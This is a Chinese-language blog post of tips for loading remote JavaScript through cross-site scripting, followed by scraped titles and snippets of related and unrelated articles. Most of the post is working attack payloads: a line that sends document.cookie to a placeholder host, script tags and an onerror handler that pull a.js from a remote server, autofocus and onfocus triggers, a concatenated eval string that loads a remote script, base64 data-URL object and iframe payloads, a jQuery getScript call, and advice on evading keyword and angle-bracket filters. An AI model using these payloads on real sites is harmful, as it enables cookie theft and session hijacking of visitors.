xss如何加载远程js的一些tips
在早期 , 对于xss我们是这样利用的
<script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script>
将 cookie之类的数据传递到自己的服务端
但是 如果要更为复杂的攻击的话,由于字符串长度等限制 需要加载远程js来实现。
一个简单的例子
<script src=http://xxx.xxx/a.js></script>
这样更为简洁
<script src=//xxx.xxx/a.js></script>
src属性会自己取当前页面的协议。
过滤了 <>的话 有时候可以用 %bf u003cu 等来绕过。
对于可以执行js的属性,我们可以控制其内容的话,可以基于DOM的方法创建和插入节点调用js
<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>
不要忘记 autofocus无须交互即可执行js。
<input autofocus="" onfocus="........" />
过滤了 script ‘ create 等关键字的话。 各种编码绕过即可。 你可以看下jin的这篇文章
http://drops.wooyun.org/tips/689
或者用String.fromCharCode 函数转换成 asc码
但是string.fromcharcode 太长了,在同一个页面,可控多个输出的时候, 可以对全局变量 进行多次赋值
一个经典的例子
<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><script>z=z+' src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)</script>
我们也可以用data url 来加载。
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></object><iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></iframe>
PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4= 是
<script src=http://xxx.xxx/a.js></script>
的base64值。
支持data url 的标签还有
<anchor>、<img> <a>(需点击) <meta>.....
需注意的是
<img>
里的 data url 是不允许执行js的。
还有, ie8 以下浏览器是不支持 data url的。IE8 data URL 最大长度限制为32k字节,超出无效。IE9+没有这个限制 ie不支持对
<frame>
标签的src设置data URL
有时候 我们可以直接调用javascript框架的函数 来实现一些功能。
比如, 支持 jquery的话(通过查看源代码,你可以看出是否支持)
我们直接这样调用就可以了
$.getScript("//xxx.xxx/a.js");
实践出真理!
xss如何加载远程js的一些tips的更多相关文章
- XSS漏洞之加载远程js文件
这次在对一个系统渗透测试过程中,发现一个XSS漏洞,可弹窗,并且没有httponly 但是在尝试加载远程js文件的时候发现,script标签被过滤掉了,准确的说应该是服务器后端在识别到输入内容有< ...
- xss 加载远程第三方JS
script 没有调用远程平台,用web接收cookie <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.coo ...
- springMVC加载远程freemarker模板文件
在一个大网站里,有很多子域名,也就是有很多子系统,这些子系统由不同的团队负责,对整个网站的风格的风格至少得要是一致的(最基本的页头.页尾必须一致),这个时候得提供一份统一的页头.页尾以及公共的JS.c ...
- AIRSDK 3.7 加载远程的含有代码的swf文件
之前就说这个版本会解决可以加载远程的含有代码的swf文件的需求.但是,一直比较好奇这个是否行得通,还以为 Adobe 副总裁去了苹果,内部给了特殊待遇. 因为苹果一直就是不允许远程加载代码的,像js文 ...
- js中取得当前加载的js的src地址
在很多js框架中看到过,如果要动态加载框架内部的其他js,加载的时候加载的地址经常是一个相对的地址,只能是这样了哦,因为框架根本不知道用此框架的用户,将框架js文件放的具体目录,所以框架中一般会采用如 ...
- jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据
jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据 这个是jQuery 的底层 AJAX 实现.简单易用的高层实现见 $.get, $.post 等. $.ajax() ...
- iOS Cordova 加载远程界面
老大说,我们的项目要hybrid,要实现1.html能调用native:2.本地html调用本地html界面:3.能加载远程界面..... 因为我的项目是已有的(以下简称 项目),所以是要在已有的项目 ...
- 网站加载css/js/img等静态文件失败
网站加载css/js/img等静态文件失败,报网站http服务器内部500错误.而服务器中静态文件存在且权限正常. 从浏览器中直接访问文件,出来乱码.这种问题原因在于iis中该网站mime配置报错,不 ...
- 根据打开页面加载不同Js
根据打开页面加载不同Js //根据打开页面加载不同JS $(document).ready(function(){ var href = document.URL; /*获取当前页面的URL*/ if ...
随机推荐
- sql2014 新建用户并登陆
EXEC master.dbo.sp_addlogin @loginame = N'testuser1', @passwd = '123456', @defdb = N'master', @defla ...
- Android 图表绘制 achartengine 示例解析
一. AChartEngine 简介 1. 项目地址 AChartEngine 简介 : AChartEngine 是 Android 平台的图表开发库, 能绘制 折线图, 饼图, 气泡图, 柱状图, ...
- 解决phpMyAdmin“登录超时 (1440 秒未活动),请重新登录”的问题
问题描述 phpMyAdmin打开一段时间后会出现“登录超时 (1440 秒未活动),请重新登录”的问题: 解决方法 永久有效: vim config.inc.php 然后在里面加上下面这一行: $c ...
- JSON.parse()和JSON.stringify()使用
JSON.parse()用于从一个字符串中解析出json对象,如 var str = '{"name":"huangxiaojian","age&qu ...
- Angular.js 以及个人学习网站
Angular.js 教程 http://www.360doc.com/content/14/0414/15/14416931_368816305.shtml web前端学习: 慕课网:http:/ ...
- 解决$.getJSON在IE浏览器下出现数据缓存,第一次访问某个后台路径之后,再次访问该路径不再走后台的方法。
最近写代码的时候遇到一个小问题,我用的是火狐,项目里测试人员用的是IE,当用jquery的getjson函数从后台获取数据的时候,IE浏览器会自动设置缓存,如果此时你对数据进行修改的时候刷新页面,IE ...
- js中typeof与instanceof区别
今天写JS代码,遇到动态生成多个名称相同的input复选按钮 需要判断其是否是数组,用到了if (typeof(document.MapCheckMgr.checkid)!="undefin ...
- curl/wget 测试http请求的响应头信息
1. wget –debug wget可以使用debug信息来查看信息头,如下: [root@localhost ~]# wget --debug http://192.168.1.101:8080/ ...
- 转载:CSS3 Flexbox可视化指南
0. 目录 目录 引言 正文 1 引入 2 基础 3 使用 4 弹性容器Flex container属性 41 flex-direction 42 flex-wrap 43 flex-flow 44 ...
- ACM 另一种阶乘问题
另一种阶乘问题 时间限制:3000 ms | 内存限制:65535 KB 难度:1 描述 大家都知道阶乘这个概念,举个简单的例子:5!=1*2*3*4*5.现在我们引入一种新的阶乘概念,将原来 ...